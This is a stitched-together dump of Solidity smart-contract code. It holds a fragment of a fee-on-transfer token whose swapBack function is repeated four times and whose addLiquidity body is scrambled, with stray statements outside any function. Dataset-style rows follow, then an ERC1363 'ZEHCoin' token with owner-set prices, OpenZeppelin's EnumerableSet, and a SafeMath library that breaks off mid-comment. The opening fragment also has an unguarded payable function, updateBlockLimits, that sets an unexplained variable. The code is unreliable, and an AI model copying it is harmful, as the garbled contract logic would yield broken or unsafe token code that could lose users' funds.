tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMark += (fees * buyMarkFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function updateBlockLimits() external virtual payable {
dreams = 2;
}
function updateMaxlimitTransaction(uint256 _newAmt) external onlyOwner {
maxTransactionAmount = _newAmt;
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
LiquidityAddress,
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMark +
tokensForDev +
tokensForOperations;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMark = ethBalance.mul(tokensForMark).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMark - ethForDev - ethForOperations;
tokensForLiquidity = 0;
tokensForMark = 0;
tokensForDev = 0;
tokensForOperations = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMark +
tokensForDev +
tokensForOperations;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMark = ethBalance.mul(tokensForMark).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMark - ethForDev - ethForOperations;
tokensForLiquidity = 0;
tokensForMark = 0;
tokensForDev = 0;
tokensForOperations = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMark +
tokensForDev +
tokensForOperations;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMark = ethBalance.mul(tokensForMark).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMark - ethForDev - ethForOperations;
tokensForLiquidity = 0;
tokensForMark = 0;
tokensForDev = 0;
tokensForOperations = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
(success, ) = address(devWallet).call{value: ethForDev}("");
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMark +
tokensForDev +
tokensForOperations;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMark = ethBalance.mul(tokensForMark).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMark - ethForDev - ethForOperations;
tokensForLiquidity = 0;
tokensForMark = 0;
tokensForDev = 0;
tokensForOperations = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
}
(success, ) = address(operationsWallet).call{value: ethForOperations}("");
(success, ) = address(marketingAddress).call{value: address(this).balance}("");
}
| 15,764,293
|
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./partial_match/1/0x8f9A8Dc65A423C7Dec9261aA6010DB738407C879/sources/PumpFarm.sol
|
Address of LP token contract.
|
IERC20 lpToken;
| 3,584,959
|
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pragma solidity 0.4.18;
import "../../contracts/apps/AragonApp.sol";
contract AppStubConditionalRecovery is AragonApp {
function allowRecoverability(address token) public view returns (bool) {
// Doesn't allow to recover ether
return token != address(0);
}
}
|
Doesn't allow to recover ether
|
function allowRecoverability(address token) public view returns (bool) {
return token != address(0);
}
| 13,140,773
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @title IERC1363Spender Interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for any contract that wants to support approveAndCall
* from ERC1363 token contracts as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363Spender {
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param sender address The address which called `approveAndCall` function
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` unless throwing
*/
function onApprovalReceived(
address sender,
uint256 amount,
bytes calldata data
) external returns (bytes4);
}
/**
* @title IERC1363Receiver Interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall
* from ERC1363 token contracts as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363Receiver {
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param sender address The address which are token transferred from
* @param amount uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` unless throwing
*/
function onTransferReceived(
address operator,
address sender,
uint256 amount,
bytes calldata data
) external returns (bytes4);
}
/**
* @title IERC1363 Interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for a Payable Token contract as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363 is IERC20, IERC165 {
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address recipient, uint256 amount) external returns (bool);
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `recipient`
* @return true unless throwing
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param sender address The address which you want to send tokens from
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param sender address The address which you want to send tokens from
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `recipient`
* @return true unless throwing
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 amount) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 amount,
bytes calldata data
) external returns (bool);
}
/**
* @title ERC1363
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of an ERC1363 interface
*/
abstract contract ERC1363 is ERC20, IERC1363, ERC165 {
using Address for address;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1363).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param recipient The address to transfer to.
* @param amount The amount to be transferred.
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(address recipient, uint256 amount) public virtual override returns (bool) {
return transferAndCall(recipient, amount, "");
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param recipient The address to transfer to
* @param amount The amount to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
transfer(recipient, amount);
require(_checkAndCallTransfer(_msgSender(), recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param sender The address which you want to send tokens from
* @param recipient The address which you want to transfer to
* @param amount The amount of tokens to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
return transferFromAndCall(sender, recipient, amount, "");
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param sender The address which you want to send tokens from
* @param recipient The address which you want to transfer to
* @param amount The amount of tokens to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
transferFrom(sender, recipient, amount);
require(_checkAndCallTransfer(sender, recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to
* @param amount The amount allowed to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(address spender, uint256 amount) public virtual override returns (bool) {
return approveAndCall(spender, amount, "");
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to.
* @param amount The amount allowed to be transferred.
* @param data Additional data with no specified format.
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(
address spender,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
approve(spender, amount);
require(_checkAndCallApprove(spender, amount, data), "ERC1363: _checkAndCallApprove reverts");
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param sender address Representing the previous owner of the given token value
* @param recipient address Target address that will receive the tokens
* @param amount uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(
address sender,
address recipient,
uint256 amount,
bytes memory data
) internal virtual returns (bool) {
if (!recipient.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(recipient).onTransferReceived(_msgSender(), sender, amount, data);
return (retval == IERC1363Receiver(recipient).onTransferReceived.selector);
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(
address spender,
uint256 amount,
bytes memory data
) internal virtual returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(_msgSender(), amount, data);
return (retval == IERC1363Spender(spender).onApprovalReceived.selector);
}
}
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ZEHCoin is Context, ERC1363, AccessControlEnumerable, ERC20Burnable, ERC20Pausable, ERC20Capped{
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
uint256 public sellPrice = 0; //in Wei.
uint256 public buyPrice = 0; //in Wei.
address payable public _owner;
bool public salePaused = true;
event UpdateOwnership(address indexed previousOwner, address indexed newOwner);
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(string memory name, string memory symbol, uint256 _sellPrice,uint256 _buyPrice) ERC20(name, symbol) ERC20Capped(SafeMath.mul(3000000000 , (10 ** uint256(decimals())))) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
_owner = payable(_msgSender());
sellPrice = _sellPrice; // in Wei.
buyPrice = _buyPrice; // in Wei.
}
// to recieve ether in contract.
fallback() external payable {}
receive() external payable {}
// @dev if owner wants to transfer contract ether balance to own account.
function transferBalanceTo(address _to,uint256 _value) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ERC20: must have admin role to tranfer balance");
require(_value <= address(this).balance);
payable(_to).transfer(_value);
}
// @dev only admin can set prices.
function setPrice(uint256 _sellPrice,uint256 _buyPrice) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ERC20: must have admin role to set price");
sellPrice = _sellPrice; // in Wei.
buyPrice = _buyPrice; // in Wei.
}
// @notice Buy tokens from contract by sending ether
function buy() payable public {
require(!salePaused, "Buying and Selling is Paused");
uint256 amount = SafeMath.mul(msg.value , (10 ** uint256(decimals())));
amount = SafeMath.div(amount,buyPrice); // calculates the amount
_transfer(_owner, msg.sender, amount); // makes the transfers
}
// @notice Sell `amount` tokens to contract
function sell(uint256 amount) public {
require(!salePaused,"Buying and Selling is Paused");
require(amount > 0);
require(balanceOf(msg.sender) >= amount);
uint256 requiredBalance = SafeMath.mul(amount ,sellPrice); // calculates the amount.
requiredBalance=SafeMath.div(requiredBalance, (10 ** uint256(decimals())));
require(address(this).balance >= requiredBalance); // checks if the contract has enough ether.
_transfer(msg.sender, _owner, amount);
if(!payable(msg.sender).send(requiredBalance)){
return payable(msg.sender).transfer(requiredBalance); // sends ether to the seller.
}
}
// /**
// * @dev Allows the current owner to transfer control of the contract to a newOwner.
// * @param newOwner The address to transfer ownership to.
// */
modifier onlyOwner {
require(msg.sender == _owner);
_;
}
function updateOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit UpdateOwnership(_owner, newOwner);
_owner = payable(newOwner);
}
/**
* @dev See {ERC165-_supportsInterface,ERC1363-_supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC1363) returns (bool) {
return super.supportsInterface(interfaceId);
}
/**
* @dev See {ERC20-_mint,ERC20Capped-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override(ERC20, ERC20Capped) {
super._mint(account, amount);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
// buying and selling pause setting.
function pauseSale() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
salePaused = true;
}
function unPauseSale() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
salePaused = false;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20, ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
